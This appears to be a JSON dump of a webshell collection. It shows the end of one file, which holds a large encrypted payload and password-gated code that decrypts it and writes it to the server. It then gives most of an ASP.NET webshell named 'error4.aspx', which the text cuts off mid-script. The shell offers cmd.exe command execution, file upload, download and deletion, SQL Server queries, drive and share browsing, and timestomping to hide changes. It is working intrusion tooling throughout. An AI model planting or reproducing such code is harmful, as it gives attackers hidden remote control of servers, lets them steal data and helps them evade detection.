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\";\r\n        string pJxsCuCACbGngMlQ=\"aqB2nU65TgFoEfdVqiAddBQLInc9\";\r\n        string onFLmAzE=Request.Unvalidated[\"p\"];\r\n        if(Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(onFLmAzE+pJxsCuCACbGngMlQ)))==\"nT/xBvvDUIuEU8fW8oVUPQucJyE=\"){\r\n            string NPjSINwsBpIwW=Request.ServerVariables[\"PATH_TRANSLATED\"];\r\n            if(!string.IsNullOrEmpty(Request[\"n\"])){\r\n                string FdvqWqCOIXthwKSW=NPjSINwsBpIwW.Substring(0,NPjSINwsBpIwW.LastIndexOf('\\\\')+1)+Request[\"n\"];\r\n                if(FdvqWqCOIXthwKSW.ToLower()!=NPjSINwsBpIwW.ToLower()){\r\n                    System.Security.Cryptography.TripleDESCryptoServiceProvider HQQAmBfH=new System.Security.Cryptography.TripleDESCryptoServiceProvider();\r\n                    HQQAmBfH.Key=Encoding.UTF8.GetBytes(Convert.ToBase64String(new System.Security.Cryptography.SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(onFLmAzE))).Substring(0,24));\r\n                    HQQAmBfH.Mode=System.Security.Cryptography.CipherMode.ECB;\r\n                    HQQAmBfH.Padding=System.Security.Cryptography.PaddingMode.PKCS7;\r\n                    System.Security.Cryptography.ICryptoTransform tEiciYNFOyem=HQQAmBfH.CreateDecryptor();\r\n                    byte[] iHokoHVNhg=Convert.FromBase64String(GYNVJOHk);\r\n                    System.IO.File.WriteAllBytes(FdvqWqCOIXthwKSW,tEiciYNFOyem.TransformFinalBlock(iHokoHVNhg,0,iHokoHVNhg.Length));}}\r\n            else if (!string.IsNullOrEmpty(Request.Form[\"u\"])){\r\n                string qKrdoxVR=System.IO.File.ReadAllText(NPjSINwsBpIwW);\r\n                string FFPutRVtRQCAfiin=\"string GYNVJOHk=\\\"\";\r\n                int MIPRtTppajvWO=qKrdoxVR.IndexOf(FFPutRVtRQCAfiin)+FFPutRVtRQCAfiin.Length;\r\n                int JtNMxzcBaItXt=qKrdoxVR.IndexOf(\"\\\"\",MIPRtTppajvWO);\r\n                qKrdoxVR=qKrdoxVR.Substring(0,MIPRtTppajvWO)+Request.Form[\"u\"]+qKrdoxVR.Substring(JtNMxzcBaItXt);\r\n                System.IO.File.WriteAllText(NPjSINwsBpIwW,qKrdoxVR);}}}catch(Exception ex){ Response.Write(ex.ToString()); }\r\n%>\r\n</body>\r\n</html>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/StableVersion/HighShell v5.0/HyperShell/HyperShell/ExpiredPasswordTech/error4.aspx",
    "content": "<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n<%@ Import namespace=\"System.IO\"%>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<%\r\n\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\np=fb(t[\"p\"]);pro=fb(t[\"pro\"]);cmd=fb(t[\"cmd\"]);sav=fb(t[\"sav\"]);vir=t[\"vir\"];nen=fb(t[\"nen\"]);upb=fb(t[\"upb\"]);upd=fb(t[\"upd\"]);del=fb(t[\"del\"]);don=fb(t[\"don\"]);hid=t[\"hid\"];tfil=fb(t[\"tfil\"]);ttar=fb(t[\"ttar\"]);ttim=fb(t[\"ttim\"]);baseFile=t[\"baseFile\"];baseAddr=fb(t[\"baseAddr\"]);baseVir=t[\"baseVir\"];sqc=fb(t[\"sqc\"]);sqq=fb(t[\"sqq\"]);exadd=fb(t[\"exadd\"]);\r\nif(!string.IsNullOrEmpty(p))c(p);\r\nelse c();\r\nif(!string.IsNullOrEmpty(cmd))r(pro,cmd);\r\nelse if(HttpContext.Current.Request.Files[\"upl\"]!=null)u(HttpContext.Current.Request.Files[\"upl\"],sav,string.IsNullOrEmpty(vir)?false:true,nen);\r\nelse if(!string.IsNullOrEmpty(upb))h(upb,upd);\r\nelse if(!string.IsNullOrEmpty(del))d(del);\r\nelse if(!string.IsNullOrEmpty(don))z(don);\r\nelse if(!string.IsNullOrEmpty(tfil))g(hid,tfil,ttar,ttim);\r\nelse if(!string.IsNullOrEmpty(baseFile))baseupl(baseFile,baseAddr,string.IsNullOrEmpty(baseVir)?false:true);\r\nelse if(!string.IsNullOrEmpty(sqc))sq(sqc,sqq);\r\nelse if(!string.IsNullOrEmpty(exadd))exp(exadd);\r\nelse if(!string.IsNullOrEmpty(t[\"gsize\"]))gsize(fb(t[\"gsize\"]));\r\n\r\nif(HttpContext.Current.Request.Cookies[\"data\"]!=null){string data=fb(HttpContext.Current.Request.Cookies[\"data\"].Value);string[] data2=data.Split(new string[]{\"#|#\"},StringSplitOptions.None);for(int i=0;i<data2.Length;i++){string[] data3=data2[i].Split(new string[]{\"#=#\"},StringSplitOptions.None);\r\nswitch (data3[0]){\r\ncase\"pro\":pro=a(pro,fb(data3[1]));break;\r\ncase\"cmd\":cmd=a(cmd,fb(data3[1]));break;\r\ncase\"sav\":sav=a(sav,fb(data3[1]));break;\r\ncase\"vir\":vir=a(vir,fb(data3[1]));break;\r\ncase\"nen\":nen=a(nen,fb(data3[1]));break;\r\ncase\"don\":don=a(don,fb(data3[1]));break;\r\ncase\"tfil\":tfil=a(tfil,fb(data3[1]));break;\r\ncase\"ttar\":ttar=a(ttar,fb(data3[1]));break;\r\ncase\"ttim\":ttim=a(ttim,fb(data3[1]));break;\r\ncase\"sqc\":sqc=a(sqc,fb(data3[1]));break;\r\ncase\"sqq\":sqq=a(sqq,fb(data3[1]));break;\r\ncase\"exadd\":exadd=a(exadd,fb(data3[1]));break;\r\n}}}\r\n\r\nview();\r\n    %>\r\n<script runat=\"server\">\r\n    string salt=\"di2zag7wZHTK9YR0NGq\";\r\n    string p,pro,cmd,sav,vir,nen,upb,upd,del,don,hid,tfil,ttar,ttim,baseFile,baseAddr,baseVir,baseName,sqc,sqq,exadd;\r\n    bool aut=false;\r\n    string pp=\"ePQm3HPXJYt5wZSFhktJ/IEin/A=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void view(){string data = string.Format(\"pro#=#{0}#|#cmd#=#{1}#|#sav#=#{2}#|#vir#=#{3}#|#nen#=#{4}#|#don#=#{5}#|#tfil#=#{6}#|#ttar#=#{7}#|#ttim#=#{8}|#sqc#=#{9}|#sqq#=#{10}|#exadd#=#{11}\",\r\n    tb(pro),tb(cmd),tb(sav),tb(vir),tb(nen),tb(don),tb(tfil),tb(ttar),tb(ttim),tb(sqc),tb(sqq),tb(exadd));\r\n        HttpCookie coo=new HttpCookie(\"data\", data);coo.Expires=DateTime.Now.AddDays(1);HttpContext.Current.Response.SetCookie(coo);}\r\n\r\n    void rm(){/*System.IO.File.Delete(Request.ServerVariables[\"PATH_TRANSLATED\"]);Response.Redirect(Request.RawUrl);*/}\r\n    void c(string p){try{HttpCookie coo=new HttpCookie(\"p\",tb(p));coo.Expires=DateTime.Now.AddDays(1);HttpContext.Current.Response.SetCookie(coo);c();}catch(Exception e){l(e.Message);}}\r\n    bool c(){try{if(HttpContext.Current.Request.Cookies[\"p\"]!=null){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA1CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(fb(HttpContext.Current.Request.Cookies[\"p\"].Value)+salt)))==pp;if(!aut)rm();return aut;}}catch(Exception e){l(e.Message);}rm();return false;}\r\n    void u(HttpPostedFile upl, string sav, bool vir, string nen){try{if(c()){if(upl!=null&&upl.ContentLength>0){string fn=string.IsNullOrEmpty(nen)?System.IO.Path.GetFileName(upl.FileName):nen;string path=vir?Server.MapPath(sav):sav;string SaveLocation=System.IO.Path.HasExtension(path)?path:path.TrimEnd('\\\\')+\"\\\\\"+fn;upl.SaveAs(SaveLocation);l(\"File uploaded successfuly : \"+SaveLocation);}}}catch(Exception ex){l(ex.Message);}}\r\n    void baseupl(string baseFile,string baseAddr, bool baseVir){try{if(c()){if(baseFile!=null&&baseFile.Length>0&&!string.IsNullOrEmpty(baseAddr)){string SaveLocation=baseVir?Server.MapPath(baseAddr):baseAddr;System.IO.File.WriteAllBytes(SaveLocation,Convert.FromBase64String(baseFile));l(\"File uploaded successfuly : \"+SaveLocation);}}}catch(Exception ex){l(ex.Message);}}\r\n    void r(string pro, string cmd){try{if(c()){string o = exec(cmd,pro);l(HttpUtility.HtmlEncode(o));}}catch(Exception ex){l(ex.Message);}}\r\n    void z(string don){try{if(c()&&!string.IsNullOrEmpty(don)){byte[] f=System.IO.File.ReadAllBytes(don);System.Web.HttpContext t=System.Web.HttpContext.Current;t.Response.Clear();t.Response.ClearHeaders();t.Response.ClearContent();t.Response.AppendHeader(\"content-length\",f.Length.ToString());t.Response.ContentType=\"application/octet-stream\";t.Response.AppendHeader(\"content-disposition\",\"attachment; filename=\"+don.Substring(don.LastIndexOf('\\\\')+1));t.Response.BinaryWrite(f);t.Response.End();}}catch(Exception ex){l(ex.Message);}}\r\n    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n    void g(string hid, string tfil, string ttar, string ttim){try{if(c()&&!string.IsNullOrEmpty(tfil)){l(string.Empty);if(hid==\"1\")ti(tfil);else if(hid==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));l(\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil));}}else if(hid==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);l(\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil));}}}}catch(Exception ex){l(ex.Message);}}\r\n    void h(string upb, string upd){try{if(c()&&!string.IsNullOrEmpty(upb)&&!string.IsNullOrEmpty(upd)){System.IO.File.WriteAllBytes(System.IO.Path.GetTempPath()+upd,Convert.FromBase64String(upb));l(upd+\" successfuly uploaded\");}}catch(Exception ex){l(ex.Message);}}\r\n    void d(string del){try{if(c()&&!string.IsNullOrEmpty(del)){System.IO.File.Delete(System.IO.Path.GetTempPath()+del);l(del+\" successfuly deleled\");}}catch(Exception ex){l(ex.Message);}}\r\n    void sq(string sqc, string sqq){try{if(c()){if(!string.IsNullOrEmpty(sqc)){using(System.Data.SqlClient.SqlConnection con=new System.Data.SqlClient.SqlConnection(sqc)){if(string.IsNullOrEmpty(sqq)){try{con.Open();l(\"Sql Server Connection Successfuly Established\");}catch(Exception ex){l(\"Sql Server Connection Failed :\"+Environment.NewLine+ex.ToString());}}else{try{con.Open();System.Data.SqlClient.SqlCommand com=new System.Data.SqlClient.SqlCommand(sqq,con);System.Data.SqlClient.SqlDataAdapter ad=new System.Data.SqlClient.SqlDataAdapter(com);System.Data.DataTable dt=new System.Data.DataTable();ad.Fill(dt);DataGrid grid=new DataGrid();System.Web.UI.WebControls.DataList list=new System.Web.UI.WebControls.DataList();grid.DataSource=dt;grid.DataBind();log.Controls.Add(grid);}catch(Exception ex){l(\"Error : <br>\"+ex.ToString());}}con.Close();}}}}catch(Exception ex){l(ex.Message);}}\r\n    string x(string f){return Encoding.UTF8.GetString(Convert.FromBase64String(f));}\r\n    void l(string ll){log.InnerHtml=tb(ll);}\r\n\r\n    string exec(string cmd,string pro = \"\")\r\n    {\r\n        System.Diagnostics.Process n=new System.Diagnostics.Process();\r\n        n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);\r\n        n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;\r\n        n.StartInfo.RedirectStandardOutput=true;\r\n        n.StartInfo.RedirectStandardError=true;\r\n        n.StartInfo.CreateNoWindow=true;\r\n        string o=null;\r\n        n.Start();\r\n        n.StandardInput.WriteLine(cmd);\r\n        n.StandardInput.WriteLine(\"exit\");\r\n        o =n.StandardOutput.ReadToEnd();\r\n        n.WaitForExit();\r\n        n.Close();\r\n        return o;\r\n    }\r\n\r\n    void gsize(string addr)\r\n    {\r\n        string ret = \"error : -\";\r\n        try\r\n        {\r\n            long size = GetDirSize(new DirectoryInfo(addr));\r\n            ret = sizeFix(size);\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n\r\n    void exp(string exadd)\r\n    {\r\n        string ret = \"error : -\";\r\n        try\r\n        {\r\n            if (exadd.ToLower() == \"root\")\r\n            {\r\n                ret = \"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";// in javascript json parser two \\ = one \\\r\n                string netUse = exec(\"net use\");\r\n                string[] lines = netUse.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines)\r\n                {\r\n                    if (item.ToLower().StartsWith(\"ok\"))\r\n                    {\r\n                        int index = item.IndexOf(\"\\\\\\\\\");\r\n                        ret += \",{\\\"name\\\":\\\"\\\\\\\\\" + item.Substring(index, item.IndexOf('\\\\', index + 2) - index) + \"\\\"}\";\r\n                    }\r\n                }\r\n                ret += \"]}\";\r\n            }\r\n            else\r\n            {\r\n                if (exadd.Trim('\\\\').Split('\\\\').Count() == 1) // \\\\localhost\r\n                {\r\n                    string tmp = exadd.ToLower().TrimEnd('\\\\');\r\n                    if (tmp == \"\\\\\\\\localhost\")\r\n                    {\r\n                        ret = \"{\\\"dir\\\":[\";\r\n                        bool isStart = false;\r\n                        foreach (DriveInfo item in DriveInfo.GetDrives())\r\n                        {\r\n                            if (item.IsReady)\r\n                            {\r\n                                if (isStart)\r\n                                    ret += \",\";\r\n                                ret += string.Format(\"{{\\\"name\\\":\\\"{0}$\\\",\\\"tsize\\\":\\\"{1}\\\",\\\"fsize\\\":\\\"{2}\\\",\\\"usize\\\":\\\"{3}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':'),sizeFix(item.TotalSize),sizeFix(item.TotalFreeSpace),sizeFix(item.TotalSize - item.TotalFreeSpace));\r\n                                isStart = true;\r\n                            }\r\n                        }\r\n                        ret += \"]}\";\r\n                    }\r\n                    else\r\n                    {\r\n\r\n                    }\r\n                }\r\n                else // \\\\localhost\\c$\\\r\n                {\r\n                    FileAttributes attr = File.GetAttributes(exadd);\r\n                    if ((attr & FileAttributes.Directory) == FileAttributes.Directory)\r\n                    {\r\n                        DirectoryInfo dirInfo = new DirectoryInfo(exadd);\r\n                        ret = \"{\" + string.Format(\"{0},{1}\", createJsonDirectory(dirInfo.GetDirectories()), createJsonFile(dirInfo.GetFiles())) + \"}\";\r\n                    }\r\n                }\r\n            }\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n    long GetDirSize(DirectoryInfo d)\r\n    {\r\n        long size = 0;\r\n\r\n        FileInfo[] fis = d.GetFiles();\r\n        foreach (FileInfo fi in fis)\r\n        {\r\n            size += fi.Length;\r\n        }\r\n\r\n        DirectoryInfo[] dis = d.GetDirectories();\r\n        foreach (DirectoryInfo di in dis)\r\n        {\r\n            size += GetDirSize(di);\r\n        }\r\n\r\n        return size;\r\n    }\r\n    string createJsonDirectory(DirectoryInfo[] dir)\r\n    {\r\n        string json = \"\\\"dir\\\":[\";\r\n        for (int i = 0; i < dir.Length; i++)\r\n        {\r\n            if (i > 0)\r\n                json += \",\";\r\n            json += \"{\\\"name\\\":\\\"\" + dir[i].Name + \"\\\"}\";\r\n        }\r\n        json += \"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(FileInfo[] file)\r\n    {\r\n        string json = \"\\\"file\\\":[\";\r\n        for (int i = 0; i < file.Length; i++)\r\n        {\r\n            if (i > 0)\r\n                json += \",\";\r\n            json += \"[\\\"\" + file[i].Name + \"\\\",\\\"\" + sizeFix(file[i].Length) + \"\\\"]\";\r\n        }\r\n        json += \"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size)\r\n    {\r\n        double s = size;\r\n        if (s < 1024) return s + \" B\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s,2) + \" KB\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s,2) + \" MB\";\r\n        s = s / 1024;\r\n        return Math.Round(s,2) + \" GB\";\r\n    }\r\n</script>\r\n\r\n<style>body,html{margin:0;padding:5px;direction:ltr;background:#aaa;color:#000 !important;}form{margin:0;}*{font:14px \"Lucida Console\";}t{width:180px;display:inline-block;text-align:right;padding-right:5px;}g{margin-left:30px;}input[type=\"text\"],input[type=\"file\"],textarea {width:60%;height:25px;background:#cbcbcb;color:#000;border:1px solid #999;margin-bottom:3px;}input[type=\"text\"]{padding:2px;}input[type=\"button\"],input[type=\"submit\"] {height:23px;}input[type=\"checkbox\"]{width:23px;height:24px;position:absolute;margin:0;}hr{margin:0;border:0;border-top:1px solid #DDD;}.h{width:100px;text-align:center;background:rgb(255,36,0);color:#fff;vertical-align:middle;}table{width:100%;margin:0;border-collapse:collapse;}.b{padding:10px 0px 9px;}</style>\r\n<script>\r\n    function use() { var n = document; var d = n.getElementById(\"d\").innerHTML; d = d.substring(0, d.lastIndexOf('\\\\') + 1); n.getElementsByName(\"cmd\")[0].value += d; n.getElementsByName(\"sav\")[0].value += d; n.getElementsByName(\"don\")[0].value += d; }\r\n    function subm(){var mmm=document.getElementsByClassName('mmm');for(var i=0;i<mmm.length;i++){mmm[i].value=btoa(mmm[i].value);}}\r\n    function reset() { document.cookie = \"data=;expires=Thu, 01 Jan 1970 00:00:01 GMT;path=/\";location.href = location.pathname;}\r\n</script>\r\n<style>\r\n    div.tbbt{overflow:hidden;border:1px solid #ccc;}\r\n    div.tbbt button{background-color:inherit;float:left;border:none;outline:none;cursor:pointer;padding:14px 16px;transition: 0.3s;font-size:17px;}\r\n    div.tbbt button:hover{background-color:#ddd}\r\n    div.tbbt button.active{background-color:#ccc}\r\n    .tb{display:none;border:1px solid #ccc;border-top:none}\r\n    .loader{\r\n        border:3px solid #f3f3f3;\r\n        border-radius:50%;\r\n        border-top:3px solid #3498db;\r\n        width:16px;\r\n        height:16px;\r\n        -webkit-animation: spin 2s linear infinite;\r\n        animation:spin 2s linear infinite;\r\n        position:absolute;\r\n    }\r\n    @-webkit-keyframes spin {\r\n        0%{ -webkit-transform:rotate(0deg);}\r\n        100%{-webkit-transform:rotate(360deg);}\r\n    }\r\n    @keyframes spin {\r\n        0%{ transform:rotate(0deg);}\r\n        100%{transform:rotate(360deg);}\r\n    }\r\n    #objFrame{padding:0 5px 5px 5px}\r\n    .objD {\r\n        /*background-color: #d8d808;*/\r\n        background-color: #23a4ff;\r\n        padding: 5px;\r\n        display: table;\r\n        cursor: pointer;\r\n        /*margin-left: 100px;*/\r\n        float:left;\r\n        margin-left:5px;\r\n    }\r\n    .objF {\r\n        margin-top: 5px;\r\n        min-height: 24px;\r\n    }\r\n    .objS {\r\n        /*position: absolute;*/\r\n        width: 90px;\r\n        text-align: right;\r\n        cursor: default;\r\n        background-color: #c3c3c3;\r\n        padding: 5px;\r\n        min-height:14px;\r\n        max-height: 14px;\r\n        overflow: hidden;\r\n        float:left;\r\n    }\r\n    .objN {\r\n        display: table;\r\n        padding: 5px;\r\n        background-color: #23d7ff;\r\n        margin-left: 100px;\r\n        cursor: default;\r\n    }\r\n    .objB {\r\n        margin-left:3px;\r\n        padding:5px;\r\n    }\r\n    /*.objL{display:inline-block;margin-left:3px;}*/\r\n    #objLocation{padding:0 5px 0 5px;\r\n                 min-height: 24px;\r\n    margin-top: 5px;\r\n    }\r\n    .objLabel {\r\n        /*display: inline-block;\r\n        padding: 5px;\r\n        width: 87px;\r\n        background-color: #c3c3c3;\r\n        margin-top:5px;\r\n        float:left;*/\r\n    }\r\n    .objError {\r\n        background-color: #ff2e2e;\r\n        color: white;\r\n    }\r\n    .objInfo {\r\n        font-size: 10px;\r\n    background-color: #83cc83;\r\n    line-height: 14px;\r\n    }\r\n    .sizeLD {\r\n    width: 12px;\r\n    height: 12px;\r\n    margin-left: -54px;\r\n    margin-top: -2px;\r\n    }\r\n</style>\r\n<script>\r\n    var sizeArray = new Array();\r\n    function openTab(ev, nm)\r\n    {\r\n        var i, tb, tblnk;\r\n        tb = document.getElementsByClassName(\"tb\");\r\n        for (i = 0; i < tb.length; i++) {\r\n            tb[i].style.display = \"none\";\r\n        }\r\n        tblnk = document.getElementsByClassName(\"tblnk\");\r\n        for (i = 0; i < tblnk.length; i++) {\r\n            tblnk[i].className = \"tblnk\";\r\n        }\r\n        document.getElementById(nm).style.display = \"block\";\r\n        ev.currentTarget.className += \" active\";\r\n    }\r\n    function readCookie(name)\r\n    {\r\n        var nameEQ = name + \"=\";\r\n        var ca = document.cookie.split(';');\r\n        for (var i = 0; i < ca.length; i++) {\r\n            var c = ca[i];\r\n            while (c.charAt(0)==' ') c = c.substring(1, c.length);\r\n            if(c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);\r\n        }\r\n        return null;\r\n    }\r\n    function sendAddress()\r\n    {\r\n        document.getElementById(\"loader\").style.display = \"inline-block\";\r\n        var address = document.getElementsByName(\"exadd\")[0].value;\r\n        var info = {\r\n            data:\"exadd=\" + btoa(address),\r\n            onSuccess:function(resText){\r\n                \r\n                document.getElementById(\"loader\").style.display = \"none\";\r\n                var data = atob(resText)\r\n                makeLocation();\r\n                var Frame = document.getElementById(\"objFrame\");\r\n                Frame.innerHTML = \"\";\r\n                if(data.startsWith(\"Error\"))\r\n                {\r\n                    addError(Frame, data);\r\n                }\r\n                else\r\n                {\r\n                    var info = JSON.parse(data);\r\n                    if(info.dir)\r\n                    {\r\n                        var f = document.createElement(\"div\");\r\n                        f.className=\"objF\";\r\n       \r\n                        var s = document.createElement(\"div\");\r\n                        s.className=\"objS\";\r\n                        s.innerText = \"Get All Size\";\r\n                        s.style.cursor = \"pointer\";\r\n                        s.style.fontSize = \"12px\";\r\n                        s.onclick = function(){getAllSize();};\r\n\r\n                        f.appendChild(s);\r\n                        Frame.appendChild(f);\r\n\r\n                        for (var i = 0; i < info.dir.length; i++)\r\n                            addFolder(Frame, info.dir[i]);\r\n                    }\r\n                    if(info.file)\r\n                        for (var i = 0; i < info.file.length; i++)\r\n                            addFile(Frame, info.file[i][0], info.file[i][1])\r\n                }\r\n            }\r\n        };\r\n        sendData(info);\r\n    }\r\n\r\n    function makeLocation()\r\n    {\r\n        var loc = document.getElementById(\"objLocation\");\r\n        loc.innerHTML = \"\";\r\n\r\n        var f = document.createElement(\"div\");\r\n        f.className=\"objF\";\r\n\r\n        var lbl = document.createElement(\"div\");\r\n        lbl.className = \"objS objLabel\";\r\n        lbl.innerText = \"Location :\";\r\n        loc.appendChild(lbl);\r\n        var curAdd = document.getElementsByName(\"exadd\")[0].value.split(\"\\\\\");\r\n        var sendLoc = \"\";\r\n        if(document.getElementsByName(\"exadd\")[0].value.startsWith(\"\\\\\\\\\"))\r\n            sendLoc += \"\\\\\\\\\";\r\n        for (var i = 0; i < curAdd.length; i++) {\r\n            if(curAdd[i] == \"\")\r\n                continue;\r\n            sendLoc += curAdd[i] + \"\\\\\";\r\n            var o = document.createElement(\"div\");\r\n            if(i == curAdd.length - 1)\r\n                o.style.display = \"inline-block\";\r\n            else\r\n            {\r\n                o.setAttribute(\"loc\",sendLoc);\r\n                o.onclick = function(){\r\n                    document.getElementsByName(\"exadd\")[0].value = this.getAttribute(\"loc\");\r\n                    sendAddress();\r\n                };\r\n                o.className = \"objD\";\r\n            }\r\n            o.innerText = curAdd[i] + \"\\\\\";\r\n                        \r\n            loc.appendChild(o);\r\n        }\r\n        